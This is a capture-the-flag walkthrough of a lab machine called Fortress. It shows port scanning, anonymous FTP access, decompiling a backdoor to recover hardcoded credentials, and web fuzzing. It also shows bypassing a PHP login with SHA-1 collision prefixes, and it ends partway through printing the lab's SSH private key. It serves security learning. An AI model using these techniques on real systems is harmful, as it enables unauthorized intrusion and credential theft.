Recon to foothold
First off we’ll take the information given and add the hostnames fortress
and temple.fortress
to our /etc/hosts
file
Now let’s scan to find what we’re dealing with. A masscan
to start
rob:Fortress/ $ sudo masscan -p1-65535,U:1-65535 10.10.6.73 --rate=1000 -e tun0
[sudo] password for rob:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-25 15:23:25 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 5581/tcp on 10.10.6.73
Discovered open port 22/tcp on 10.10.6.73
Discovered open port 7331/tcp on 10.10.6.73
Discovered open port 5752/tcp on 10.10.6.73
And now an nmap
to investigate the found ports
rob:Fortress/ $ nmap -A -T4 -v -p22,5581,5752,7331 fortress
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-25 16:33 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:33
Completed NSE at 16:33, 0.00s elapsed
Initiating NSE at 16:33
Completed NSE at 16:33, 0.00s elapsed
Initiating NSE at 16:33
Completed NSE at 16:33, 0.00s elapsed
Initiating Ping Scan at 16:33
Scanning fortress (10.10.6.73) [2 ports]
Completed Ping Scan at 16:33, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 16:33
Scanning fortress (10.10.6.73) [4 ports]
Discovered open port 22/tcp on 10.10.6.73
Discovered open port 5581/tcp on 10.10.6.73
Discovered open port 7331/tcp on 10.10.6.73
Discovered open port 5752/tcp on 10.10.6.73
Completed Connect Scan at 16:33, 0.01s elapsed (4 total ports)
Initiating Service scan at 16:33
Scanning 4 services on fortress (10.10.6.73)
Completed Service scan at 16:35, 156.50s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.6.73.
Initiating NSE at 16:35
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 16:35, 0.71s elapsed
Initiating NSE at 16:35
Completed NSE at 16:35, 1.06s elapsed
Initiating NSE at 16:35
Completed NSE at 16:35, 0.00s elapsed
Nmap scan report for fortress (10.10.6.73)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:d0:bb:c7:e2:ee:7f:91:fe:c2:6a:a6:bb:b2:e1:91 (RSA)
| 256 06:4b:fe:c0:6e:e4:f4:7e:e1:db:1c:e7:79:9d:2b:1d (ECDSA)
|_ 256 0d:0e:ce:57:00:1a:e2:8d:d2:1b:2e:6d:92:3e:65:c4 (ED25519)
5581/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 305 Jul 25 20:06 marked.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.6.26
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5752/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, LANDesk-RC, LPDString, RTSPRequest, SIPOptions, X11Probe:
| Chapter 1: A Call for help
| Username: Password:
| Kerberos, LDAPBindReq, LDAPSearchReq, NCP, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie:
| Chapter 1: A Call for help
|_ Username:
7331/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
--snip--
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 16:35
Completed NSE at 16:35, 0.00s elapsed
Initiating NSE at 16:35
Completed NSE at 16:35, 0.00s elapsed
Initiating NSE at 16:35
Completed NSE at 16:35, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.35 seconds
Ok, so we appear to have an FTP server on port 5581, an unknown service on 5752 although it is returning some data, and a web server on 7331
Let’s begin enumeration with the FTP server
rob:Fortress/ $ ftp fortress 5581
Connected to fortress.
220 (vsFTPd 3.0.3)
Name (fortress:rob): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jul 25 20:06 .
drwxr-xr-x 2 ftp ftp 4096 Jul 25 20:06 ..
-rw-r--r-- 1 ftp ftp 1255 Jul 25 20:06 .file
-rw-r--r-- 1 ftp ftp 305 Jul 25 20:06 marked.txt
226 Directory send OK.
ftp> mget *
mget marked.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for marked.txt (305 bytes).
226 Transfer complete.
305 bytes received in 0.00 secs (400.3381 kB/s)
ftp> get .file
local: .file remote: .file
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .file (1255 bytes).
226 Transfer complete.
1255 bytes received in 0.00 secs (328.9281 kB/s)
ftp> exit
221 Goodbye.
Ok, 2 files found, including a sneakily hidden one, let’s see what we got. First marked.txt
rob:Fortress/ $ cat marked.txt
If youre reading this, then know you too have been marked by the overlords... Help memkdir /home/veekay/ftp I have been stuck inside this prison for days no light, no escape... Just darkness... Find the backdoor and retrieve the key to the map... Arghhh, theyre coming... HELLLPPPPPmkdir /home/veekay/ftp
The second file .file
however seems to be binary content
rob:Fortress/ $ file .file
.file: python 2.7 byte-compiled
We can try using uncompyle6
to recreate the python code from here
rob:Fortress/ $ mv .file file.pyc
rob:Fortress/ $ uncompyle6 file.pyc
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jul 14 2021, 08:11:37)
# [GCC 10.2.1 20210110]
# Embedded file name: ../backdoor/backdoor.py
# Compiled at: 2021-04-29 03:56:57
import socket, subprocess
from Crypto.Util.number import bytes_to_long
usern = 232340432076717036154994L
passw = 10555160959732308261529999676324629831532648692669445488L
port = 5752
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', port))
s.listen(10)
def secret():
with open('secret.txt', 'r') as (f):
reveal = f.read()
return reveal
while True:
try:
conn, addr = s.accept()
conn.send('\n\tChapter 1: A Call for help\n\n')
conn.send('Username: ')
username = conn.recv(1024).decode('utf-8').strip()
username = bytes(username, 'utf-8')
conn.send('Password: ')
password = conn.recv(1024).decode('utf-8').strip()
password = bytes(password, 'utf-8')
if bytes_to_long(username) == usern and bytes_to_long(password) == passw:
directory = bytes(secret(), 'utf-8')
conn.send(directory)
conn.close()
else:
conn.send('Errr... Authentication failed\n\n')
conn.close()
except:
continue
# okay decompiling file.pyc
This python program has some encoded credentials hardwired into it, a username of 232340432076717036154994
and a password of 10555160959732308261529999676324629831532648692669445488
. Let’s verify the coding quickly
rob:Fortress/ $ python3
Python 3.9.7 (default, Sep 3 2021, 06:18:44)
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import bytes_to_long
>>> bytes_to_long(b'password')
8097880544751088228
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(8097880544751088228)
b'password'
Ok, so we can easily reverse the encoding, let’s get the decoded creds
>>> long_to_bytes(232340432076717036154994)
b'1337-h4x0r'
>>> long_to_bytes(10555160959732308261529999676324629831532648692669445488)
b'n3v3r_g0nn4_g1v3_y0u_up'
And we have a username:password combo of 1337-h4x0r:n3v3r_g0nn4_g1v3_y0u_up
We can try running our local version to check this, but this is probably the unknown service we saw in our nmap
scan. Let’s test against that to see if we can get a secret back
rob:Fortress/ $ nc fortress 5752
Chapter 1: A Call for help
Username: 1337-h4x0r
Password: n3v3r_g0nn4_g1v3_y0u_up
t3mple_0f_y0ur_51n5
Excellent, we have a response, t3mple_0f_y0ur_51n5
. No idea what to do with it, but it’s a response! 😄
EDIT: On a closer look again we can see that the code used to return the secret uses the variable
directory
directory = bytes(secret(), 'utf-8')
Hopefully this is a useful hint that the value is a directory we must look in
Perhaps it will become clear as we enumerate the web server on port 7331
We find a familiar suspect, the Apache2 default homepage - a quick check confirms there are no comments, sneaky scripts or robots.txt
to be found here
We were given 2 hostnames to add to our /etc/hosts
file, let’s check the other hostname and see if an alternative site is being hosted there
No, we find the same default page
Let’s try some directory busting then to see if there is any content hosted on a sub-folder
rob:Fortress/ $ gobuster dir --url http://fortress:7331 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php,zip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://fortress:7331
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: zip,txt,html,php
[+] Timeout: 10s
===============================================================
2021/09/25 17:07:56 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 312] [--> http://fortress:7331/assets/]
/private.php (Status: 200) [Size: 0]
/index.html (Status: 200) [Size: 10918]
/server-status (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10918]
/troll.html (Status: 200) [Size: 199]
===============================================================
2021/09/25 17:14:01 Finished
===============================================================
Let’s look at each of these just in case we can find something useful. We can’t get anything out of /private.php
, it’s either an empty file or requires something else from us before it will return any content. Meanwhile /troll.html
seems like one to be avoided if we don’t want to be rickrolled
but let’s look at it anyway
rob:Fortress/ $ curl http://fortress:7331/troll.html
<html>
<head>
<title>Are you lost baby girl?</title>
<link rel="stylesheet" type="text/css" href="assets/style.css">
</head>
<body>
<center><h1>
Were it so easy?
</h1></center>
</body>
</html>
So, nothing useful there unfortunately except some icky paternalism.
We can also try the earlier found phrase t3mple_0f_y0ur_51n5
as a directory
rob:Fortress/ $ curl http://fortress:7331/t3mple_0f_y0ur_51n5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at fortress Port 7331</address>
</body></html>
rob:Fortress/ $ curl http://temple.fortress:7331/t3mple_0f_y0ur_51n5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at temple.fortress Port 7331</address>
</body></html>
We have found a /assets
directory, that usually contains images, javascript or css files. Let’s try busting that directory too, perhaps we might file some javascript magic
rob:Fortress/ $ gobuster dir --url http://fortress:7331/assets/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x jpg,png,css,js
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://fortress:7331/assets/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: png,css,js,jpg
[+] Timeout: 10s
===============================================================
2021/09/26 00:03:53 Starting gobuster in directory enumeration mode
===============================================================
/style.css (Status: 200) [Size: 747]
===============================================================
2021/09/26 00:10:03 Finished
===============================================================
Hmmm, nothing much there, just a style sheet - which looking back we saw in the /troll.html
file. Let’s have a look anyway just in case there is anything useful
/*Am I a hint??
VGhpcyBpcyBqb3VybmV5IG9mIHRoZSBncmVhdCBtb25rcywgbWFraW5nIHRoaXMgZm9ydHJlc3MgYSBzYWNyZWQgd29ybGQsIGRlZmVuZGluZyB0aGUgdmVyeSBvd24gb2YgdGhlaXIga2luZHMsIGZyb20gd2hhdCBpdCBpcyB0byBiZSB1bmxlYXNoZWQuLi4gVGhlIG9ubHkgb25lIHdobyBjb3VsZCBzb2x2ZSB0aGVpciByaWRkbGUgd2lsbCBiZSBncmFudGVkIGEgS0VZIHRvIGVudGVyIHRoZSBmb3J0cmVzcyB3b3JsZC4gUmV0cmlldmUgdGhlIGtleSBieSBDT0xMSURJTkcgdGhvc2UgZ3VhcmRzIGFnYWluc3QgZWFjaCBvdGhlci4=
*/
body{
margin: 0;
height: 0;
background-color: black;
}
--snip--
iframe{
margin: auto;
margin-top: 10%;
padding: auto;
display: block;
}
Ok, a comment! This looks like base64 so let’s try decoding it
rob:Fortress/ $ echo -n 'VGhpcyBpcyBqb3VybmV5IG9mIHRoZSBncmVhdCBtb25rcywgbWFraW5nIHRoaXMgZm9ydHJlc3MgYSBzYWNyZWQgd29ybGQsIGRlZmVuZGluZyB0aGUgdmVyeSBvd24gb2YgdGhlaXIga2luZHMsIGZyb20gd2hhdCBpdCBpcyB0byBiZSB1bmxlYXNoZWQuLi4gVGhlIG9ubHkgb25lIHdobyBjb3VsZCBzb2x2ZSB0aGVpciByaWRkbGUgd2lsbCBiZSBncmFudGVkIGEgS0VZIHRvIGVudGVyIHRoZSBmb3J0cmVzcyB3b3JsZC4gUmV0cmlldmUgdGhlIGtleSBieSBDT0xMSURJTkcgdGhvc2UgZ3VhcmRzIGFnYWluc3QgZWFjaCBvdGhlci4=' | base64 --decode
This is journey of the great monks, making this fortress a sacred world, defending the very own of their kinds, from what it is to be unleashed... The only one who could solve their riddle will be granted a KEY to enter the fortress world. Retrieve the key by COLLIDING those guards against each other.%
Alright then, what can we do with this? It seems clear that somewhere we have to find a key, or keys and then some COLLIDING has to happen… Hash Collisions perhaps? If we have one key then find another with the same hash?
Still, we have no key…
after much head-scratching and repeating the same things over and over…
The only thing really that we do have is the t3mple_0f_y0ur_51n5
which we couldn’t find a directory for earlier. While systematically trying all the tools (dirsearch
, gobuster
, feroxbuster
…) and fuzzing every bit of the URL, methods, etc. in the vain hope that one of them would give me something different, one of them did!
rob:Fortress/ $ ffuf -u http://fortress:7331/t3mple_0f_y0ur_51n5.FUZZ -w /usr/share/seclists/Fuzzing/extensions-skipfish.fuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://fortress:7331/t3mple_0f_y0ur_51n5.FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/extensions-skipfish.fuzz.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
html [Status: 200, Size: 1477, Words: 271, Lines: 64, Duration: 23ms]
php [Status: 200, Size: 629, Words: 74, Lines: 27, Duration: 16ms]
:: Progress: [93/93] :: Job [1/1] :: 12 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
We’ve found a /t3mple_0f_y0ur_51n5.php
file, let’s have a look
rob:Fortress/ $ curl http://fortress:7331/t3mple_0f_y0ur_51n5.php
<html>
<head>
<title>Chapter 2</title>
<link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
<div id="container">
<video width=100% height=100% autoplay>
<source src="./assets/flag_hint.mp4" type=video/mp4>
</video>
<!-- Hmm are we there yet?? May be we just need to connect the dots -->
<!-- <center>
<form id="login" method="GET">
<input type="text" required name="user" placeholder="Username"/><br/>
<input type="text" required name="pass" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</center>
-->
</div>
</body>
</html>
There is a /assets/flag_hint.mp4
in the source, what’s the bet it’s a…
Ah yes, the inevitable rickroll, a classic! 😄
Apart from that though we can find a commented out login form suggesting that /t3mple_0f_y0ur_51n5.php
will take an input from us. If we try supplying some random values we do get a reply back
rob:Fortress/ $ curl http://fortress:7331/t3mple_0f_y0ur_51n5.php\?user\=admin\&pass\=admin
<html>
<head>
<title>Chapter 2</title>
<link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
--snip--
Your password can not be your username.<!-- Hmm are we there yet?? May be we just need to connect the dots -->
--snip--
</body>
</html>
Making username and password different nets us another questionable reply, but no further progress
rob:Fortress/ $ curl http://fortress:7331/t3mple_0f_y0ur_51n5.php\?user\=admin\&pass\=notadmin
--snip--
<pre>Nah, babe that ain't gonna work</pre><!-- Hmm are we there yet?? May be we just need to connect the dots -->
Is it possible that the form doesn’t care what the username and password are so long as their hashes are the same? That’s worth trying, but where?
…which is when I noticed that we actually found 2 files with ffuf
, a .php
file and a .html
file… wow, I’m glad no one is watching!
Now that looks like our page with the form not commented out, let’s look at the source and see if there are any more hidden goodies to be found
<!--
<?php
require 'private.php';
$badchar = '000000';
if (isset($_GET['user']) and isset($_GET['pass'])) {
$test1 = (string)$_GET['user'];
$test2 = (string)$_GET['pass'];
$hex1 = bin2hex($test1);
$hex2 = bin2hex($test2);
if ($test1 == $test2) {
print 'You can't cross the gates of the temple, GO AWAY!!.';
}
else if(strlen($test2) <= 500 and strlen($test1) <= 600){
print "<pre>Nah, babe that ain't gonna work</pre>";
}
else if( strpos( $hex1, $badchar ) or strpos( $hex2, $badchar )){
print '<pre>I feel pitty for you</pre>';
}
else if (sha1($test1) === sha1($test2)) {
print "<pre>'Private Spot: '$spot</pre>";
}
else {
print '<center>Invalid password.</center>';
}
}
?>
-->
<!-- Don't believe what you see... This is not the actual door to the temple. -->
Excellent, I assume we can assume that this is the php code we were unsuccessful at getting past earlier. Let’s examine it and see if having the code helps
- Ok, so we’re looking at SHA1 collisions and this code should give us a
$spot
value (presumably defined in the requiredprivate.php
file) - We have to satisfy a length check, user >500 bytes and pass >600
- We also have a check to see if either user or pass includes a ‘badchar’ which, in this example code at least, has the value ‘000000’ (null [0x00] times 3)
Colliding (head v wall)
A stackoverflow post leads us to a brilliantly comprehensive github on the topic of collisions, more than you could ever wish to know I think!
Going back to the github repo again we find some potentially bad news
Shattered (SHA1)
Documented in 2013, computed in 2017.
- time: 6500 years.CPU and 110 year.GPU
- space: two blocks
- differences: >
> .. .. .. DD ?? ?? ?? ?? > or > ?? ?? ?? DD .. .. .. .. >
- exploitation: medium. The differences are right at the start and at the end of the collision blocks. So no control before and after a length in the prefix/in the suffix: PNG stores its length before the chunk type, so it won’t work. However it will work with JP2 files when they use the JFIF form (the same as JPG), and likely MP4 and other atom/box formats if you use long lengths on 64bits (in this case, they’re placed after the atom type)
The bad news being the time involved… 110 years with a GPU?
Further digging into this shows the figures come from this google blog post detailing the first computed collision
To be fair this was 2017 and both CPUs and GPUs are substantially more powerful today (although not my RX580!) but still, a huge effort required. Luckily we don’t have to repeat this work, we can reuse theirs!
Following this chain we can find several existing SHA-1 collider projects, including this one that helpfully includes example pdf files that give the same SHA-1 hash
We can first verify that both pdfs have the same SHA-1 hash
rob:Fortress/ $ sha1sum out-eve100.pdf
2ea565a2720e38626fa9809ba8bc19d72d5105be out-eve100.pdf
rob:Fortress/ $ sha1sum out-eve1b.pdf
2ea565a2720e38626fa9809ba8bc19d72d5105be out-eve1b.pdf
Good! Now, how about the 3 null bytes in a row
rob:Fortress/ $ xxd -p out-eve100.pdf | grep 000000 | head
76215660dd309791d06bd0af3f98cda4bc4629b100000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000fffe00066e6e656f
031101ffc4001a0001010101010101000000000000000000000807060504
Oh dear, not just 3 in a row…
There is another example, let’s check that file for null bytes
rob:Fortress/ $ xxd -p out-1213-academic-calendar.pdf | grep 000000 | head
rob:Fortress/ $ xxd -p out-1314-academic-calendar.pdf | grep 000000 | head
Excellent, it passes! But…
rob:Fortress/ $ sha1sum out-1213-academic-calendar.pdf
9a05e6cd5dfab39e5fd73ab6e9f4072010bfb1b4 out-1213-academic-calendar.pdf
rob:Fortress/ $ sha1sum out-1314-academic-calendar.pdf
5a2bbd9865f1d5b199b76424e2593fefbbbfbd80 out-1314-academic-calendar.pdf
The SHA1 hashes don’t match, how is that possible?
Having been quite confused reading the theory on this we finally find a simplified explanation here
You can reuse a collision by appending identical data to both pieces of colliding data and the result still collides. The collision google found exists in the PDF before the JPEGs, and both JPEGs are appended after the collision – the difference in the earlier data is where the differing instructions exist that say either to display the first or the second JPEG
shattered.io did link to a picture explaining this but tbh I didn’t fully get it until I found the text above!
So I believe the trick is that tools like this one are adding two arbitrary pdf files (converted into image files) to the colliding prefix along with a sequence that points to one image or the other. We are (I think) getting the null characters from padding characters being added to make things line up to particular positions pointed to by the colliding variants. We’re getting nulls because that’s what the tool has used for the padding
Shortcut to answer
If we go look at the code from the collider generating program we looked at examples from (this one), then we can find two prefixes
prefix1 = bytes.fromhex("25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A 0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74 68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33 20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F 53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69 6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72 53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67 74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72 43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74 72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31 20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC 09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01 73 46 DC 91 66 B6 7E 11 8F 02 9A B6 21 B2 56 0F F9 CA 67 CC A8 C7 F8 5B A8 4C 79 03 0C 2B 3D E2 18 F8 6D B3 A9 09 01 D5 DF 45 C1 4F 26 FE DF B3 DC 38 E9 6A C2 2F E7 BD 72 8F 0E 45 BC E0 46 D2 3C 57 0F EB 14 13 98 BB 55 2E F5 A0 A8 2B E3 31 FE A4 80 37 B8 B5 D7 1F 0E 33 2E DF 93 AC 35 00 EB 4D DC 0D EC C1 A8 64 79 0C 78 2C 76 21 56 60 DD 30 97 91 D0 6B D0 AF 3F 98 CD A4 BC 46 29 B1")
prefix2 = bytes.fromhex("25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A 0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74 68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33 20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F 53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69 6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72 53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67 74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72 43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74 72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31 20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC 09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01 7F 46 DC 93 A6 B6 7E 01 3B 02 9A AA 1D B2 56 0B 45 CA 67 D6 88 C7 F8 4B 8C 4C 79 1F E0 2B 3D F6 14 F8 6D B1 69 09 01 C5 6B 45 C1 53 0A FE DF B7 60 38 E9 72 72 2F E7 AD 72 8F 0E 49 04 E0 46 C2 30 57 0F E9 D4 13 98 AB E1 2E F5 BC 94 2B E3 35 42 A4 80 2D 98 B5 D7 0F 2A 33 2E C3 7F AC 35 14 E7 4D DC 0F 2C C1 A8 74 CD 0C 78 30 5A 21 56 64 61 30 97 89 60 6B D0 BF 3F 98 CD A8 04 46 29 A1")
We can easily show that these collide in our python3 interpreter
>>> sha1(prefix1).hexdigest()
'f92d74e3874587aaf443d1db961d4e26dde13e9c'
>>> sha1(prefix2).hexdigest()
'f92d74e3874587aaf443d1db961d4e26dde13e9c'
And now, we can add sufficient non-null bytes to the end of each prefix to satisfy our length and content criteria
>>> collider1 = prefix1 + bytes.fromhex("41" * 1000)
>>> collider2 = prefix2 + bytes.fromhex("41" * 1000)
>>> sha1(collider1).hexdigest()
'd75f0ecc5a7e0c78369668f277e47ee5822bd856'
>>> sha1(collider2).hexdigest()
'd75f0ecc5a7e0c78369668f277e47ee5822bd856'
And finally now let’s test our colliding strings against the web form we found. We’ll do this from our python3 interpreter too as then we don’t have to worry about trying to paste binary strings
>>> from requests import request
>>> params = {'user': collider1, 'pass': collider2}
>>> response = request('GET', "http://fortress:7331/t3mple_0f_y0ur_51n5.php", params=params)
>>> response.text
'<html>\n<head>\n\t<title>Chapter 2</title>\n\t<link rel=\'stylesheet\' href=\'assets/style.css\' type=\'text/css\'>\n</head>\n<body>\n\t<div id="container">\n <video width=100% height=100% autoplay>\n <source src="./assets/flag_hint.mp4" type=video/mp4>\n </video>\n\n\n<pre>\'The guards are in a fight with each other... Quickly retrieve the key and leave the temple: \'m0td_f0r_j4x0n.txt</pre><!-- Hmm are we there yet?? May be we just need to connect the dots -->\n\n<!-- <center>\n\t\t\t<form id="login" method="GET">\n\t\t\t\t<input type="text" required name="user" placeholder="Username"/><br/>\n\t\t\t\t<input type="text" required name="pass" placeholder="Password" /><br/>\n\t\t\t\t<input type="submit"/>\n\t\t\t</form>\n\t\t</center>\n-->\n\n </div>\n\n</body>\n</html>'
So we find the next piece of the story
The guards are in a fight with each other... Quickly retrieve the key and leave the temple: \'m0td_f0r_j4x0n.txt
And we grab the key as instructed
rob:sha1collider/ (master✗) $ curl http://fortress:7331/m0td_f0r_j4x0n.txt
"The Temple guards won't betray us, but I fear of their foolishness that will take them down someday.
I am leaving my private key here for you j4x0n. Prepare the fort, before the enemy arrives"
- h4rdy
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxxO1IrpzA3klEYGFfD+4wUr5Q85IEEAIpwC+zY547gPJ5xIJE76j
hR8J6sTOsFJNa+PMG/MvqUFcubThbQ7y7GAj5DP1E/TuaTi7T/oARq5z1Zj+ZYyq/HiHp1
Z0HC10dMUIRmNXI/mtfIYkW+6ORl/1silywBdJ4oLi2P6FkRZ2JBCGYbspmAyaDvzdOme6
Jf4JsNUvOQImZx1EgEK/lao6DywzOyIQcwtzWFGVuH/OBJ350qK4/6vIjK30eAmdPE6Fnl
gqoc+jqunahusHeBlB4xx5+JqMg+OwnJ5VrDNIiTNLgpJO8VgEGOV7Ncjncc5AfZwF6ADo
kn65fIbBjY7tm+eygKYM7GIfDZU+jYgCQz93WnQwLRF3H8l1M7WwO9HDjSBVyo0Vh8We+n
2zMu+gQLkD8t78TGulst3FpViHDncYDFud+FOUCuSPkUPgVGQkahNmi6gzay6luV2Oh4w8
gYKwknE/efkh4CW5zOXF0Fogvp2Qibnz1p6MfINbAAAFiJXzXNaV81zWAAAAB3NzaC1yc2
EAAAGBAMcTtSK6cwN5JRGBhXw/uMFK+UPOSBBACKcAvs2OeO4DyecSCRO+o4UfCerEzrBS
TWvjzBvzL6lBXLm04W0O8uxgI+Qz9RP07mk4u0/6AEauc9WY/mWMqvx4h6dWdBwtdHTFCE
ZjVyP5rXyGJFvujkZf9bIpcsAXSeKC4tj+hZEWdiQQhmG7KZgMmg783TpnuiX+CbDVLzkC
JmcdRIBCv5WqOg8sMzsiEHMLc1hRlbh/zgSd+dKiuP+ryIyt9HgJnTxOhZ5YKqHPo6rp2o
brB3gZQeMcefiajIPjsJyeVawzSIkzS4KSTvFYBBjlezXI53HOQH2cBegA6JJ+uXyGwY2O
7ZvnsoCmDOxiHw2VPo2IAkM/d1p0MC0Rdx/JdTO1sDvRw40gVcqNFYfFnvp9szLvoEC5A/
Le/ExrpbLdxaVYhw53GAxbnfhTlArkj5FD4FRkJGoTZouoM2supbldjoeMPIGCsJJxP3n5
IeAluczlxdBaIL6dkIm589aejHyDWwAAAAMBAAEAAAGBAJMt2sjmF4oF0oXywAFwCuO8zj
R3GYgKD1uIjYfjQTyWyHpxNwzF8JbGr8pF3pk0/9A4BfrT+/SiQi95rv+2AZsIKQDZ+OLc
PjbEnpcuOW4II9NS3SGuseseIQxyOj1qzaJW2RtQ7mfGe6CIe/ELmVwmLbueMRwbG6C/K3
9KDO2LMaTQIsm2WbXz+yIBiH1ZmqHkAr4dnmADWuj5Fl/M+V9pDquQ/f9F2+tyF8C/8HUK
6AE52i0D6Mn88rQvF4J3d9wfwL0QWbrYalyA7liygt8K7sBCALkv/olXYXLbT4ewySSdyL
Olr8LmJenRxEmuCJVD3rf2MKaTZOnFgqnxk7OKJOulldQpsqaCJrKDGYqerVcJZmGPaDQv
lpuHlWx3YMWZmsyeD8LGRprmuGdLjSVdUxHio6E5ez1WdwCp55pYucqsj+rKs9HD14DHhj
